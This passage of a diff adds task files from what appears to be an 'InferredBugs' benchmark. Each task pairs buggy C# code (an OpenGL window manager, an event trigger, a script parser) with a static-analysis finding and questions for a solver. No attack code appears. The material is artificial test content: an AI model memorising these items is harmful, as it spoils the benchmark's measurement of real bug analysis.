+    public sealed class OpenGLUltravioletWindowInfo : IUltravioletWindowInfo, IUltravioletComponent
+    {
+        /// <summary>
+        /// Initializes a new instance of the OpenGLUltravioletWindowInfo class.
+        /// </summary>
+        /// <param name="uv">The Ultraviolet context.</param>
+        /// <param name="configuration">The Ultraviolet Framework configuration settings for the current context.</param>
+        internal OpenGLUltravioletWindowInfo(UltravioletContext uv, UltravioletConfiguration configuration)
+        {
+            Contract.Require(uv, "uv");
+            Contract.Require(configuration, "configuration");
+
+            this.uv = uv;
+
+            InitializePrimaryWindow(configuration);
+        }
+
+        /// <summary>
+        /// Draws the current window.
+        /// </summary>
+        /// <param name="time">Time elapsed since the last call to Draw.</param>
+        public void Draw(UltravioletTime time)
+        {
+            var oglwin = (OpenGLUltravioletWindow)current;
+
+            oglwin.Draw(time);
+            SDL.GL_SwapWindow((IntPtr)oglwin);
+        }
+
+        /// <summary>
+        /// Designates the specified window as the primary window.
+        /// </summary>
+        /// <param name="window">The window to designate as the primary window, or null to clear the primary window.</param>
+        public void DesignatePrimary(IUltravioletWindow window)
+        {
+            if (window != null && !windows.Contains(window))
+                throw new InvalidOperationException(UltravioletStrings.InvalidResource);
+
+            if (primary != window)
+            {
+                OnPrimaryWindowChanging();
+
+                primary = window;
+
+                OnPrimaryWindowChanged();
+            }
+        }
+
+        /// <summary>
+        /// Makes the specified window the current window.
+        /// </summary>
+        /// <param name="window">The window to make current.</param>
+        /// <param name="context">The OpenGL context.</param>
+        public void DesignateCurrent(IUltravioletWindow window, IntPtr context)
+        {
+            if (current != window)
+            {
+                OnCurrentWindowChanging();
+
+                current = window;
+
+                if (window != null && (window != glwin || window.SynchronizeWithVerticalRetrace != vsync))
+                {
+                    DesignateCurrentOpenGLWindow(window, context);
+                }
+
+                OnCurrentWindowChanged();
+            }
+
+            if (windows.Count == 0)
+            {
+                DesignateCurrentOpenGLWindow(null, context);
+            }
+        }
+
+        /// <summary>
+        /// Gets the window with the specified identifier.
+        /// </summary>
+        /// <returns>The window with the specified identifier, or null if no such window exists.</returns>
+        public IUltravioletWindow GetByID(Int32 id)
+        {
+            var match = default(OpenGLUltravioletWindow);
+            foreach (OpenGLUltravioletWindow window in windows)
+            {
+                if (SDL.GetWindowID((IntPtr)window) == (UInt32)id)
+                {
+                    match = window;
+                    break;
+                }
+            }
+            return match;
+        }
+
+        /// <summary>
+        /// Gets a pointer to the SDL2 window object encapsulated by the window with the specified identifier.
+        /// </summary>
+        /// <returns>A pointer to the SDL2 window object encapsulated by the window with the specified identifier.</returns>
+        public IntPtr GetPtrByID(Int32 id)
+        {
+            var window = GetByID(id);
+            if (window != null)
+            {
+                return (IntPtr)(OpenGLUltravioletWindow)window;
+            }
+            return IntPtr.Zero;
+        }
+
+        /// <summary>
+        /// Gets the context's master window, which is used to create the OpenGL context.
+        /// </summary>
+        /// <returns>The context's master window.</returns>
+        public IUltravioletWindow GetMaster()
+        {
+            return master;
+        }
+
+        /// <summary>
+        /// Gets a pointer to the SDL2 window object encapsulated by the master window.
+        /// </summary>
+        /// <returns>A pointer to the SDL2 window object encapsulated by the master window.</returns>
+        public IntPtr GetMasterPointer()
+        {
+            return (IntPtr)(OpenGLUltravioletWindow)master;
+        }
+
+        /// <summary>
+        /// Gets the context's primary window.
+        /// </summary>
+        /// <returns>The context's primary window, or null if the context is headless.</returns>
+        public IUltravioletWindow GetPrimary()
+        {
+            return primary;
+        }
+
+        /// <summary>
+        /// Gets a pointer to the SDL2 window object encapsulated by the primary window.
+        /// </summary>
+        /// <returns>A pointer to the SDL2 window object encapsulated by the primary window.</returns>
+        public IntPtr GetPrimaryPointer()
+        {
+            return (IntPtr)(OpenGLUltravioletWindow)primary;
+        }
+
+        /// <summary>
+        /// Gets the context's current window.
+        /// </summary>
+        /// <returns>The context's current window.</returns>
+        public IUltravioletWindow GetCurrent()
+        {
+            return current;
+        }
+
+        /// <summary>
+        /// Gets a pointer to the SDL2 window object encapsulated by the current window.
+        /// </summary>
+        /// <returns>A pointer to the SDL2 window object encapsulated by the current window.</returns>
+        public IntPtr GetCurrentPointer()
+        {
+            return (IntPtr)(OpenGLUltravioletWindow)current;
+        }
+
+        /// <summary>
+        /// Creates a new window and attaches it to the current context.
+        /// </summary>
+        /// <param name="caption">The window's caption text.</param>
+        /// <param name="x">The x-coordinate at which to position the window's top-left corner.</param>
+        /// <param name="y">The y-coordinate at which to position the window's top-left corner.</param>
+        /// <param name="width">The width of the window's client area in pixels.</param>
+        /// <param name="height">The height of the window's client area in pixels.</param>
+        /// <param name="flags">A set of WindowFlags values indicating how to create the window.</param>
+        /// <returns>The Ultraviolet window that was created.</returns>
+        public IUltravioletWindow Create(String caption, Int32 x, Int32 y, Int32 width, Int32 height, WindowFlags flags = WindowFlags.None)
+        {
+            var sdlflags = SDL_WindowFlags.OPENGL;
+
+            if ((flags & WindowFlags.Resizable) == WindowFlags.Resizable)
+                sdlflags |= SDL_WindowFlags.RESIZABLE;
+
+            if ((flags & WindowFlags.Borderless) == WindowFlags.Borderless)
+                sdlflags |= SDL_WindowFlags.BORDERLESS;
+
+            if ((flags & WindowFlags.Hidden) == WindowFlags.Hidden)
+                sdlflags |= SDL_WindowFlags.HIDDEN;
+            else
+                sdlflags |= SDL_WindowFlags.SHOWN;
+
+            var sdlptr = SDL.CreateWindow(caption ?? String.Empty, x, y, width, height, sdlflags);
+            if (sdlptr == IntPtr.Zero)
+                throw new SDL2Exception();
+
+            var win = new OpenGLUltravioletWindow(sdlptr);
+            windows.Add(win);
+
+            Ultraviolet.Messages.Subscribe(win, SDL2UltravioletMessages.SDLEvent);
+
+            OnWindowCreated(win);
+
+            return win;
+        }
+
+        /// <summary>
+        /// Creates a new Ultraviolet window from the specified native window and attaches it to the current context.
+        /// </summary>
+        /// <param name="ptr">A pointer that represents the native window to attach to the context.</param>
+        /// <returns>The Ultraviolet window that was created.</returns>
+        public IUltravioletWindow CreateFromNativePointer(IntPtr ptr)
+        {
+            var sdlptr = SDL.CreateWindowFrom(ptr);
+            if (sdlptr == IntPtr.Zero)
+                throw new SDL2Exception();
+
+            var win = new OpenGLUltravioletWindow(sdlptr);
+            windows.Add(win);
+
+            Ultraviolet.Messages.Subscribe(win, SDL2UltravioletMessages.SDLEvent);
+
+            OnWindowCreated(win);
+
+            return win;
+        }
+
+        /// <summary>
+        /// Destroys the specified window.
+        /// </summary>
+        /// <remarks>Windows which were created from native pointers are disassociated from the current context,
+        /// but are not actually destroyed.  To destroy such windows, use the native framework which created them.</remarks>
+        /// <param name="window">The Ultraviolet window to destroy.</param>
+        /// <returns>true if the window was destroyed; false if the window was closed.</returns>
+        public Boolean Destroy(IUltravioletWindow window)
+        {
+            Contract.Require(window, "window");
+
+            if (!windows.Remove(window))
+                throw new InvalidOperationException(UltravioletStrings.InvalidResource);
+
+            if (window == current)
+                throw new InvalidOperationException();
+
+            OnWindowDestroyed(window);
+
+            if (window == primary)
+                DesignatePrimary(null);
+
+            var sdlwin = (OpenGLUltravioletWindow)window;
+            Ultraviolet.Messages.Unsubscribe(sdlwin, SDL2UltravioletMessages.SDLEvent);
+
+            var native = sdlwin.Native;
+            sdlwin.Dispose();
+
+            return !native;
+        }
+
+        /// <summary>
+        /// Destroys the window with the specified identifier.
+        /// </summary>
+        /// <param name="windowID">The identifier of the window to destroy.</param>
+        /// <returns>true if the window was destroyed; false if the window was closed.</returns>
+        public Boolean DestroyByID(Int32 windowID)
+        {
+            var window = GetByID(windowID);
+            if (window != null)
+            {
+                Destroy(window);
+            }
+            return windows.Count == 0;
+        }
+
+        /// <summary>
+        /// Gets the collection's enumerator.
+        /// </summary>
+        /// <returns>The collection's enumerator.</returns>
+        public List<IUltravioletWindow>.Enumerator GetEnumerator()
+        {
+            return windows.GetEnumerator();
+        }
+
+        /// <summary>
+        /// Gets an enumerator for the collection.
+        /// </summary>
+        /// <returns>The collection's enumerator.</returns>
+        IEnumerator<IUltravioletWindow> IEnumerable<IUltravioletWindow>.GetEnumerator()
+        {
+            return GetEnumerator();
+        }
+
+        /// <summary>
+        /// Gets an enumerator for the collection.
+        /// </summary>
+        /// <returns>The collection's enumerator.</returns>
+        IEnumerator System.Collections.IEnumerable.GetEnumerator()
+        {
+            return GetEnumerator();
+        }
+
+        /// <summary>
+        /// Gets the Ultraviolet context.
+        /// </summary>
+        public UltravioletContext Ultraviolet
+        {
+            get { return uv; }
+        }
+
+        /// <summary>
+        /// Occurs after a window has been created.
+        /// </summary>
+        public event UltravioletWindowInfoEventHandler WindowCreated;
+
+        /// <summary>
+        /// Occurs when a window is about to be destroyed.
+        /// </summary>
+        public event UltravioletWindowInfoEventHandler WindowDestroyed;
+
+        /// <summary>
+        /// Occurs when the primary window is about to change.
+        /// </summary>
+        public event UltravioletWindowInfoEventHandler PrimaryWindowChanging;
+
+        /// <summary>
+        /// Occurs when the primary window changes.
+        /// </summary>
+        public event UltravioletWindowInfoEventHandler PrimaryWindowChanged;
+
+        /// <summary>
+        /// Occurs when the current window is about to change.
+        /// </summary>
+        public event UltravioletWindowInfoEventHandler CurrentWindowChanged;
+
+        /// <summary>
+        /// Occurs when the current window changes.
+        /// </summary>
+        public event UltravioletWindowInfoEventHandler CurrentWindowChanging;
+
+        /// <summary>
+        /// Initializes the context's primary window.
+        /// </summary>
+        /// <param name="configuration">The Ultraviolet Framg</param>
+        private void InitializePrimaryWindow(UltravioletConfiguration configuration)
+        {
+            // Set the OpenGL attributes for the window we're about to create.
+            if (SDL.GL_SetAttribute(SDL_GLattr.MULTISAMPLEBUFFERS, 1) < 0)
+                throw new SDL2Exception();
+
+            if (SDL.GL_SetAttribute(SDL_GLattr.MULTISAMPLESAMPLES, 4) < 0)
+                throw new SDL2Exception();
+
+            // Initialize the hidden master window used to create the OpenGL context.
+            var masterptr = SDL.CreateWindow(String.Empty, 0, 0, 0, 0, SDL_WindowFlags.OPENGL | SDL_WindowFlags.HIDDEN);
+            if (masterptr == IntPtr.Zero)
+                throw new SDL2Exception();
+
+            this.master = new OpenGLUltravioletWindow(masterptr);
+
+            // Set SDL_HINT_VIDEO_WINDOW_SHARE_PIXEL_FORMAT so that enlisted windows
+            // will be OpenGL-enabled and set to the correct pixel format.
+            if (!SDL.SetHint(SDL_Hint.VIDEO_WINDOW_SHARE_PIXEL_FORMAT, masterptr.ToStringHex()))
+                throw new SDL2Exception();
+
+            // If this is not a headless context, create the primary application window.
+            if (!configuration.Headless)
+            {
+                var flags = configuration.WindowIsVisible ? WindowFlags.None : WindowFlags.Hidden;
+
+                if (configuration.WindowIsResizable)
+                    flags |= WindowFlags.Resizable;
+
+                if (configuration.WindowIsBorderless)
+                    flags |= WindowFlags.Borderless;
+
+                var caption = Localization.Strings.Contains("WINDOW_CAPTION") ? Localization.Get("WINDOW_CAPTION") : UltravioletStrings.DefaultWindowCaption.Value;
+                var primary = Create(caption, 
+                    (Int32)configuration.InitialWindowPosition.X, 
+                    (Int32)configuration.InitialWindowPosition.Y, 
+                           configuration.InitialWindowClientSize.Width, 
+                           configuration.InitialWindowClientSize.Height, flags);
+                DesignatePrimary(primary);
+            }
+        }
+
+        /// <summary>
+        /// Raises the WindowCreated event.
+        /// </summary>
+        /// <param name="window">The window that was created.</param>
+        private void OnWindowCreated(IUltravioletWindow window)
+        {
+            var temp = WindowCreated;
+            if (temp != null)
+            {
+                temp(window);
+            }
+        }
+
+        /// <summary>
+        /// Raises the WindowDestroyed event.
+        /// </summary>
+        /// <param name="window">The window that is being destroyed.</param>
+        private void OnWindowDestroyed(IUltravioletWindow window)
+        {
+            var temp = WindowDestroyed;
+            if (temp != null)
+            {
+                temp(window);
+            }
+        }
+
+        /// <summary>
+        /// Raises the PrimaryWindowChanging event.
+        /// </summary>
+        private void OnPrimaryWindowChanging()
+        {
+            var temp = PrimaryWindowChanging;
+            if (temp != null)
+            {
+                temp(primary);
+            }
+        }
+
+        /// <summary>
+        /// Raises the PrimaryWindowChanged event.
+        /// </summary>
+        private void OnPrimaryWindowChanged()
+        {
+            var temp = PrimaryWindowChanged;
+            if (temp != null)
+            {
+                temp(primary);
+            }
+        }
+
+        /// <summary>
+        /// Raises the CurrentWindowChanging event.
+        /// </summary>
+        private void OnCurrentWindowChanging()
+        {
+            var temp = CurrentWindowChanging;
+            if (temp != null)
+            {
+                temp(current);
+            }
+        }
+
+        /// <summary>
+        /// Raises the CurrentWindowChanged event.
+        /// </summary>
+        private void OnCurrentWindowChanged()
+        {
+            var temp = CurrentWindowChanged;
+            if (temp != null)
+            {
+                temp(current);
+            }
+        }
+
+        /// <summary>
+        /// Binds the OpenGL context to the specified window.
+        /// </summary>
+        private void DesignateCurrentOpenGLWindow(IUltravioletWindow window, IntPtr context)
+        {
+            var win = (OpenGLUltravioletWindow)(window ?? master);
+            var winptr = (IntPtr)win;
+            if (SDL.GL_MakeCurrent(winptr, context) < 0)
+                throw new SDL2Exception();
+
+            if (SDL.GL_SetSwapInterval(win.SynchronizeWithVerticalRetrace ? 1 : 0) < 0)
+                throw new SDL2Exception();
+
+            glwin = win;
+            vsync = win.SynchronizeWithVerticalRetrace;
+        }
+
+        // The context's attached windows.
+        private readonly List<IUltravioletWindow> windows = new List<IUltravioletWindow>();
+
+        // The primary and active windows.
+        private IUltravioletWindow master;
+        private IUltravioletWindow primary;
+        private IUltravioletWindow current;
+        private IUltravioletWindow glwin;
+        private Boolean vsync;
+
+        // The Ultraviolet context.
+        private readonly UltravioletContext uv;
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `sdlwin` last assigned on line 260 could be null and is dereferenced at line 263, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Boolean OpenGLUltravioletWindowInfo.Destroy(IUltravioletWindow)
+
+### File:
+TwistedLogik.Ultraviolet.OpenGL/Platform/OpenGLUltravioletWindowInfo.cs
+
+### Key:
+OpenGLUltravioletWindowInfo.cs|Destroy|NULL_DEREFERENCE
+
+### Node Key:
+90535029835413c6e5d1bdebbf52bdf9
+
+### Hash:
+b3ada54937da37ac1fa282f7475f4c92
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1825/instruction.md b/inferredbugs-1825/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2bfb51083790f511f36a96344a2f26bae065c47f
--- /dev/null
+++ b/inferredbugs-1825/instruction.md
@@ -0,0 +1,118 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ultraviolet
+**Bug ID:** 10
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using TwistedLogik.Nucleus;
+
+namespace TwistedLogik.Ultraviolet.UI.Presentation.Styles
+{
+    /// <summary>
+    /// Represents a trigger which fires when a routed event is raised.
+    /// </summary>
+    public sealed class EventTrigger : Trigger, IRoutedEventRaisedNotificationSubscriber
+    {
+        /// <summary>
+        /// Initializes a new instance of the <see cref="EventTrigger"/> class.
+        /// </summary>
+        /// <param name="eventName">The name of the event that causes this trigger to be applied.</param>
+        internal EventTrigger(String eventName)
+        {
+            Contract.RequireNotEmpty(eventName, "eventName");
+
+            this.eventName = new UvmlName(eventName);
+        }
+
+        /// <inheritdoc/>
+        void IRoutedEventRaisedNotificationSubscriber.ReceiveRoutedEventRaisedNotification(DependencyObject dobj, RoutedEvent evt)
+        {
+            Activate(dobj);
+        }
+
+        /// <summary>
+        /// Gets the name of the event that causes this trigger to be applied.
+        /// </summary>
+        public UvmlName EventName
+        {
+            get { return eventName; }
+        }
+
+        /// <inheritdoc/>
+        protected internal override void Attach(DependencyObject dobj)
+        {
+            var routedEvent = EventManager.FindByStylingName(Ultraviolet, dobj, eventName.Owner, eventName.Name);
+            if (routedEvent == null)
+                throw new InvalidOperationException(PresentationStrings.EventOrPropertyDoesNotExist.Format(eventName, dobj.GetType()));
+
+            RoutedEvent.RegisterRaisedNotification(dobj, routedEvent, this);
+        }
+
+        /// <inheritdoc/>
+        protected internal override void Detach(DependencyObject dobj)
+        {
+            var routedEvent = EventManager.FindByStylingName(Ultraviolet, dobj, eventName.Owner, eventName.Name);
+            if (routedEvent == null)
+                throw new InvalidOperationException(PresentationStrings.EventOrPropertyDoesNotExist.Format(eventName, dobj.GetType()));
+
+            RoutedEvent.UnregisterRaisedNotification(dobj, routedEvent, this);
+        }
+
+        // Property values.
+        private readonly UvmlName eventName;
+    }
+}
+
+```
+
+### Bug Type:
+PULSE_UNINITIALIZED_VALUE
+
+### Qualifier:
+`this.TwistedLogik.Ultraviolet.UI.Presentation.UvmlName.container` is read without initialization during the call to `UvmlName.get_Owner()`.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void EventTrigger.Attach(DependencyObject)
+
+### File:
+TwistedLogik.Ultraviolet.UI.Presentation/Styles/EventTrigger.cs
+
+### Key:
+EventTrigger.cs|Attach|PULSE_UNINITIALIZED_VALUE
+
+### Hash:
+d94d915b0269e3a12759109a060ab78e
+
+### Bug Type Hum:
+Uninitialized Value
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1841/instruction.md b/inferredbugs-1841/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..89026909600f2577beb0f0e0e26c34f898f851dc
--- /dev/null
+++ b/inferredbugs-1841/instruction.md
@@ -0,0 +1,667 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** cscs
+**Bug ID:** 61
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace SplitAndMerge
+{
+    public class ParserFunction
+    {
+        public ParserFunction()
+        {
+            m_impl = this;
+        }
+
+        // A "virtual" Constructor
+        internal ParserFunction(ParsingScript script, string item, char ch, ref string action)
+        {
+            if (item.Length == 0 && (ch == Constants.START_ARG || !script.StillValid()))
+            {
+                // There is no function, just an expression in parentheses
+                m_impl = s_idFunction;
+                return;
+            }
+            if (item.Length > 1 &&
+              ((item[0] == Constants.QUOTE  && item[item.Length - 1] == Constants.QUOTE) ||
+               (item[0] == Constants.QUOTE1 && item[item.Length - 1] == Constants.QUOTE1)))
+            {
+                // We are dealing with a string.
+                s_strOrNumFunction.Item = item;
+                m_impl = s_strOrNumFunction;
+                return;
+            }
+
+            item = Constants.ConvertName(item);
+
+            m_impl = GetRegisteredAction(item, ref action);
+            if (m_impl != null)
+            {
+                return;
+            }
+
+            m_impl = GetArrayFunction(item, script, action);
+            if (m_impl != null)
+            {
+                return;
+            }
+
+            m_impl = GetObjectFunction(item, script);
+            if (m_impl != null)
+            {
+                return;
+            }
+
+            m_impl = GetFunction(item, script);
+            if (m_impl != null)
+            {
+                return;
+            }
+
+            if (m_impl == s_strOrNumFunction && string.IsNullOrWhiteSpace(item))
+            {
+                string problem = (!string.IsNullOrWhiteSpace(action) ? action : ch.ToString());
+                string restData = ch.ToString() + script.Rest;
+                throw new ArgumentException("Couldn't parse [" + problem + "] in " + restData + "...");
+            }
+
+            // Function not found, will try to parse this as a string in quotes or a number.
+            s_strOrNumFunction.Item = item;
+            m_impl = s_strOrNumFunction;
+        }
+
+        static ParserFunction GetArrayFunction(string name, ParsingScript script, string action)
+        {
+            int arrayStart = name.IndexOf(Constants.START_ARRAY);
+            if (arrayStart < 0)
+            {
+                return null;
+            }
+
+            string arrayName = name;
+
+            int delta = 0;
+            List<Variable> arrayIndices = Utils.GetArrayIndices(script, arrayName, delta, (string arr, int del) => { arrayName = arr; delta = del; });
+
+            if (arrayIndices.Count == 0)
+            {
+                return null;
+            }
+
+            ParserFunction pf = ParserFunction.GetFunction(arrayName, script);
+            GetVarFunction varFunc = pf as GetVarFunction;
+            if (varFunc == null)
+            {
+                return null;
+            }
+
+            // we temporarily backtrack for the processing
+            script.Backward(name.Length - arrayStart - 1);
+            script.Backward(action != null ? action.Length : 0);
+            // delta shows us how manxy chars we need to advance forward in GetVarFunction()
+            delta -= arrayName.Length;
+            delta += action != null ? action.Length : 0;
+
+            varFunc.Indices = arrayIndices;
+            varFunc.Delta = delta;
+            return varFunc;
+        }
+
+        static ParserFunction GetObjectFunction(string name, ParsingScript script)
+        {
+            if (script.CurrentClass != null && script.CurrentClass.Name == name)
+            {
+                script.Backward(name.Length + 1);
+                return new FunctionCreator();
+            }
+            if (script.ClassInstance != null &&
+               (script.ClassInstance.PropertyExists(name) || script.ClassInstance.FunctionExists(name)))
+            {
+                name = script.ClassInstance.InstanceName + "." + name;
+            }
+            int ind = name.IndexOf(".");
+            if (ind <= 0)
+            {
+                return null;
+            }
+            string baseName = name.Substring(0, ind);
+            string prop     = name.Substring(ind + 1);
+
+            ParserFunction pf = ParserFunction.GetFunction(baseName, script);
+            GetVarFunction varFunc = pf as GetVarFunction;
+            if (varFunc == null)
+            {
+                return null;
+            }
+
+            varFunc.PropertyName = prop;
+            return varFunc;
+        }
+
+        static ParserFunction GetRegisteredAction(string name, ref string action)
+        {
+            ActionFunction actionFunction = GetAction(action);
+
+            // If passed action exists and is registered we are done.
+            if (actionFunction == null)
+            {
+                return null;
+            }
+
+            ActionFunction theAction = actionFunction.NewInstance() as ActionFunction;
+            theAction.Name = name;
+            theAction.Action = action;
+
+            action = null;
+            return theAction;
+        }
+
+        public static ParserFunction GetFunction(string name, ParsingScript script)
+        {
+            name = Constants.ConvertName(name);
+            ParserFunction impl;
+            // First search among local variables.
+            if (s_locals.Count > StackLevelDelta)
+            {
+                Dictionary<string, ParserFunction> local = s_locals.Peek().Variables;
+                if (local.TryGetValue(name, out impl))
+                {
+                    // Local function exists (a local variable)
+                    return impl;
+                }
+            }
+
+            string scopeName = script == null || script.Filename == null ? "" : script.Filename;
+            impl = GetLocalScopeVariable(name, scopeName);
+            if (impl != null)
+            {
+                // Local scope variable exists
+                return impl;
+            }
+
+            if (s_functions.TryGetValue(name, out impl))
+            {
+                // Global function exists and is registered (e.g. pi, exp, or a variable)
+                return impl.NewInstance();
+            }
+
+            return null;
+        }
+
+        public static void UpdateFunction(Variable variable)
+        {
+            UpdateFunction(variable.ParsingToken, new GetVarFunction(variable));
+        }
+        public static void UpdateFunction(string name, ParserFunction function)
+        {
+            name = Constants.ConvertName(name);
+            // First search among local variables.
+            if (s_locals.Count > StackLevelDelta)
+            {
+                Dictionary<string, ParserFunction> local = s_locals.Peek().Variables;
+
+                if (local.ContainsKey(name))
+                {
+                    // Local function exists (a local variable)
+                    local[name] = function;
+                    return;
+                }
+            }
+            // If it's not a local variable, update global.
+            s_functions[name] = function;
+        }
+        public static ActionFunction GetAction(string action)
+        {
+            if (string.IsNullOrWhiteSpace(action))
+            {
+                return null;
+            }
+
+            ActionFunction impl;
+            if (s_actions.TryGetValue(action, out impl))
+            {
+                // Action exists and is registered (e.g. =, +=, --, etc.)
+                return impl;
+            }
+
+            return null;
+        }
+
+        public static bool FunctionExists(string item)
+        {
+            // If it is not defined locally, then check globally:
+            return LocalNameExists(item) || GlobalNameExists(item);
+        }
+
+        public static void AddGlobalOrLocalVariable(string name, GetVarFunction function)
+        {
+            name          = Constants.ConvertName(name);
+            function.Name = Constants.GetRealName(name);
+            if (s_locals.Count > StackLevelDelta && (LocalNameExists(name) || !GlobalNameExists(name)))
+            {
+                AddLocalVariable(function);
+            }
+            else
+            {
+                AddGlobal(name, function, false /* not native */);
+            }
+        }
+
+        static string CreateVariableEntry(ParserFunction variable, bool isLocal = false)
+        {
+            if (!(variable is GetVarFunction) || string.IsNullOrWhiteSpace(variable.Name))
+            {
+                return null;
+            }
+            GetVarFunction gvf = variable as GetVarFunction;
+            return CreateVariableEntry(gvf.Value, variable.Name, isLocal);
+        }
+
+        static string CreateVariableEntry(Variable var, string name, bool isLocal = false)
+        {
+            try
+            {
+                string value = var.AsString(true, true, 16);
+                string localGlobal = isLocal ? "0" : "1";
+                string varData = name + ":" + localGlobal + ":" +
+                                 Constants.TypeToString(var.Type).ToLower() + ":" + value;
+                return varData.Trim();
+            }
+            catch(Exception exc)
+            {
+                // TODO: Clean up not used objects.
+                bool removed = isLocal ? PopLocalVariable(name) : RemoveGlobal(name);
+                Console.WriteLine("Object {0} is probably dead ({1}): {2}. Removing it.", name, removed, exc);
+                return null;
+            }
+        }
+
+        static void GetVariables(Dictionary<string, ParserFunction> variablesScope,
+                                 StringBuilder sb, bool isLocal = false)
+        {
+            var all = variablesScope.Values.ToList();
+            for (int i = 0; i < all.Count; i++)
+            {
+                var variable = all[i];
+                string varData = CreateVariableEntry(variable, isLocal);
+                if (!string.IsNullOrWhiteSpace(varData))
+                {
+                    sb.AppendLine(varData);
+                    GetVarFunction gvf = variable as GetVarFunction;
+                    if (gvf != null && gvf.Value.Type == Variable.VarType.OBJECT)
+                    {
+                        var props = gvf.Value.GetProperties();
+                        foreach (Variable var in props)
+                        {
+                            var val = gvf.Value.GetProperty(var.AsString());
+                            varData = CreateVariableEntry(val, variable.Name + "." + var.AsString(), isLocal);
+                            if (!string.IsNullOrWhiteSpace(varData))
+                            {
+                                sb.AppendLine(varData);
+                            }
+                        }
+                    }
+                }
+            }
+        }
+
+        public static string GetVariables(ParsingScript script)
+        {
+            StringBuilder sb = new StringBuilder();
+            // Locals, if any:
+            if (s_locals.Count > 0)
+            {
+                Dictionary<string, ParserFunction> locals = s_locals.Peek().Variables;
+                GetVariables(locals, sb, true);
+            }
+
+            // Variables in the local file scope:
+            if (script != null && script.Filename != null)
+            {
+                Dictionary<string, ParserFunction> localScope;
+                string scopeName = Path.GetFileName(script.Filename);
+                if (s_localScope.TryGetValue(scopeName, out localScope))
+                {
+                    GetVariables(localScope, sb, true);
+                }
+            }
+
+            // Globals:
+            GetVariables(s_functions, sb, false);
+
+            return sb.ToString().Trim();
+        }
+
+        static bool LocalNameExists(string name)
+        {
+            if (s_locals.Count <= StackLevelDelta)
+            {
+                return false;
+            }
+            name = Constants.ConvertName(name);
+            var vars = s_locals.Peek().Variables;
+            return vars.ContainsKey(name);
+        }
+        static bool GlobalNameExists(string name)
+        {
+            name = Constants.ConvertName(name);
+            return s_functions.ContainsKey(name);
+        }
+
+        public static Variable RegisterEnum(string varName, string enumName)
+        {
+            Variable enumVar = EnumFunction.UseExistingEnum(enumName);
+            if (enumVar == Variable.EmptyInstance)
+            {
+                return enumVar;
+            }
+
+            AddGlobalOrLocalVariable(varName, new GetVarFunction(enumVar));
+            return enumVar;
+        }
+
+        public static void RegisterFunction(string name, ParserFunction function,
+                                            bool isNative = true)
+        {
+            AddGlobal(name, function, isNative);
+        }
+
+        public static bool RemoveGlobal(string name)
+        {
+            name = Constants.ConvertName(name);
+            return s_functions.Remove(name);
+        }
+
+        static void NormalizeValue(ParserFunction function)
+        {
+            GetVarFunction gvf = function as GetVarFunction;
+            if (gvf != null)
+            {
+                gvf.Value.CurrentAssign = "";
+            }
+        }
+
+        public static void AddGlobal(string name, ParserFunction function,
+                                     bool isNative = true)
+        {
+            name = Constants.ConvertName(name);
+            NormalizeValue(function);
+            function.isNative = isNative;
+            s_functions[name] = function;
+
+            function.Name = Constants.GetRealName(name);
+#if UNITY_EDITOR == false && UNITY_STANDALONE == false && __ANDROID__ == false && __IOS__ == false
+            if (!isNative)
+            {
+                Translation.AddTempKeyword(name);
+            }
+#endif
+        }
+
+        public static void AddLocalScopeVariable(string name, string scopeName, ParserFunction variable)
+        {
+            name = Constants.ConvertName(name);
+            variable.isNative = false;
+            variable.Name = Constants.GetRealName(name);
+
+            if (scopeName == null)
+            {
+                scopeName = "";
+            }
+
+            Dictionary<string, ParserFunction> localScope;
+            if (!s_localScope.TryGetValue(scopeName, out localScope))
+            {
+                localScope = new Dictionary<string, ParserFunction>();
+            }
+            localScope[name] = variable;
+            s_localScope[scopeName] = localScope;
+        }
+
+        static ParserFunction GetLocalScopeVariable(string name, string scopeName)
+        {
+            scopeName = Path.GetFileName(scopeName);
+            Dictionary<string, ParserFunction> localScope;
+            if (!s_localScope.TryGetValue(scopeName, out localScope))
+            {
+                return null;
+            }
+
+            name = Constants.ConvertName(name);
+            ParserFunction function = null;
+            localScope.TryGetValue(name, out function);
+            return function;
+        }
+
+        public static void AddAction(string name, ActionFunction action)
+        {
+            s_actions[name] = action;
+        }
+
+        public static void AddLocalVariables(StackLevel locals)
+        {
+            s_locals.Push(locals);
+        }
+
+        public static void AddStackLevel(string scopeName)
+        {
+            s_locals.Push(new StackLevel(scopeName));
+        }
+
+        public static void AddLocalVariable(ParserFunction local)
+        {
+            NormalizeValue(local);
